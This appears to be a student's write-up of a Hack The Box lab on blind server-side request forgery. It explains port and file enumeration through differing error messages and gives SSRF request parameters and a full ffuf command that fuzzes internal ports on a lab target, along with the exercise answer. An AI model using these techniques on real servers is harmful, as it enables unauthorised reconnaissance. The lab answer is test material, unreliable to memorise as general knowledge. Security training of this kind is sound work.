Blind SSRF

In many real-world SSRF vulnerabilities, the response is not directly displayed to us. These instances are called blind SSRF vulnerabilities because we cannot see the response. As such, all the exploitation vectors discussed in the previous sections are unavailable to us because they rely on our ability to inspect the response. Therefore, the impact of blind SSRF vulnerabilities is generally significantly lower due to the severely restricted exploitation vectors.

Identifying Blind SSRF

The sample web application behaves in the same way as in the previous section. We can confirm the SSRF vulnerability just like we did before by supplying a URL to a system under our control and setting up a netcat listener:

m4cc18@htb[/htb]$ nc -lnvp 8000

listening on [any] 8000 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 32928
GET /index.php HTTP/1.1
Host: 172.17.0.1:8000
Accept: */*

However, if we attempt to point the web application to itself, we can observe that the response does not contain the HTML response of the coerced request. Instead, it simply lets us know that the date is unavailable. Therefore, this is a blind SSRF vulnerability:

HTTP POST request to /index.php with date parameter; response indicates date is unavailable.

Exploiting Blind SSRF

Exploiting blind SSRF vulnerabilities is generally severely limited compared to non-blind SSRF vulnerabilities. However, depending on the web application's behavior, we might still be able to conduct a (restricted) local port scan of the system, provided the response differs for open and closed ports. In this case, the web application responds with Something went wrong! for closed ports:

HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!'

However, if a port is open and responds with a valid HTTP response, we get a different error message:

HTTP POST request to /index.php with date parameter; response indicates date is unavailable.

Depending on how the web application catches unexpected errors, we might be unable to identify running services that do not respond with valid HTTP responses. For instance, we are unable to identify the running MySQL service using this technique:

HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!'

Furthermore, although we cannot read local files as before, we can still use the same technique to identify existing files on the filesystem. That is because the error message is different for existing and non-existing files, just like it differs for open and closed ports:

HTTP POST request to /index.php with date parameter; response indicates date is unavailable.

For invalid files, the error message is different:

HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!'

While we cannot use blind SSRF vulnerabilities to directly exfiltrate data, as we did in the previous sections, we can employ the discussed techniques to enumerate open ports in the local network or enumerate existing files on the filesystem. This may reveal information about the underlying system architecture that can help prepare subsequent attacks. Keep in mind that even if the web application responds with the same error message for both open and closed ports, we can still interact with the internal network, albeit blindly. Therefore, we can potentially exploit internal web applications by guessing common payloads.


Exercise

TARGET: 10.129.1.2

Challenge 1

Exploit the SSRF to identify open ports on the system. Which port is open in addition to port 80?

Same as previous sections, we start by clicking on Check Availability on the website to send a POST request that we can see in Burp. Send this request to Repeater for easy manipulation.

Now, in order to identify open ports on the system, we need to point the URL parameter to point to itself (the server itself) so we use 127.0.0.1 also known as localhost. Then we will try common ports to see if they are open and if they return different error messages.

The first port that I will try is port 81:

dateserver=http://127.0.0.1:81

2026-03-23_16-27-27.png

Next I will try port 8000:

dateserver=http://127.0.0.1:8000&date=2024-01-01

2026-03-23_16-31-13.png

FUZZ ports (filtering out)

Now, since there are many possible ports that could be open and we do not want to test them one by one, lets just fuzz them!

Using the ports.txt file we generated in Identifying SSRF, we can come up with the following ffuf command that will filter any closed port out:

m4cc18@htb[/htb]$ ffuf -w ./ports.txt -u http://10.129.1.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Something went wrong"

Output:

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.129.1.2/index.php
 :: Wordlist         : FUZZ: /home/macc/htb/server_side_attacks/ports.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Something went wrong
________________________________________________

80                      [Status: 200, Size: 52, Words: 8, Lines: 1, Duration: 4068ms]
5000                    [Status: 200, Size: 52, Words: 8, Lines: 1, Duration: 123ms]
:: Progress: [10000/10000] :: Job [1/1] :: 344 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

flag: 5000